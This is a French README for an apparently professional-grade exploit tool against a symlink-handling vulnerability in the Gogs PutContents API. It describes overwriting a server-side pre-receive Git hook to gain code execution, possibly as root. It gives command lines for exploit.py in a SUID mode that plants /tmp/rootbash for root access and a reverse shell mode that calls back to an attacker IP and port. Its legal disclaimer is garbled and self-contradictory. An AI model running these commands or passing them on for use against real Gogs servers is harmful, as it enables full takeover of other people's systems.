
Une gestion incorrecte des liens symboliques dans l'API PutContents de Gogs permet l'exécution locale de code.
La gestion inappropriée des liens symboliques dans l'API PutContents de Gogs permet une exécution locale de code.
Ce dépôt contient un exploit de qualité professionnelle pour une vulnérabilité critique dans les versions de Gogs antérieures à 0.13.0. L'exploit tire parti d'un défaut logique où l'API Gogs ne parvient pas à valider les types de fichiers lors de la mise à jour du contenu d'un dépôt. En injectant un lien symbolique pointant vers un hook Git côté serveur (pre-receive), un utilisateur authentifié peut écraser le contenu du hook avec un script malveillant. Les opérations Git push ultérieures déclenchent l'exécution de ce script dans le contexte de l'utilisateur exécutant le service Gogs (généralement root).
Injection de lien symbolique : L'attaquant pousse un lien symbolique pointant vers des hooks internes du dépôt (ex. : /root/gogs-repositories//.git/hooks/pre-receive).
Écrasement par l'API : L'API Gogs permet de mettre à jour le contenu du lien symbolique. Comme le système d'exploitation suit le lien lors de l'opération d'écriture, le hook Git interne est écrasé.
Exécution de code / élévation de privilèges : Un Git push ultérieur déclenche le hook pre-receive. Si Gogs est configuré avec RUN_USER = root, l'attaquant obtient le contrôle total du système.
Prérequis
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
Après exécution, obtenez un accès root sur la cible :
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444
Cet outil est destiné uniquement à des fins éducatives et à des audits de sécurité autorisés. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
| Argument | Requis | Description |
|---|
--url | Oui | L'URL de base de l'instance Gogs (ex. : http://127.0.0.1:3001). |
--user | Oui | Nom d'utilisateur valide pour l'authentification. |
--pass | Oui | Mot de passe valide pour l'utilisateur spécifié. |
--mode | Non | Mode d'exploit : suid (crée /tmp/rootbash) ou rev (reverse shell). |
--lhost | Non | Adresse IP locale pour le callback du reverse shell. |
--lport | Non | Port local pour l'écoute du reverse shell. |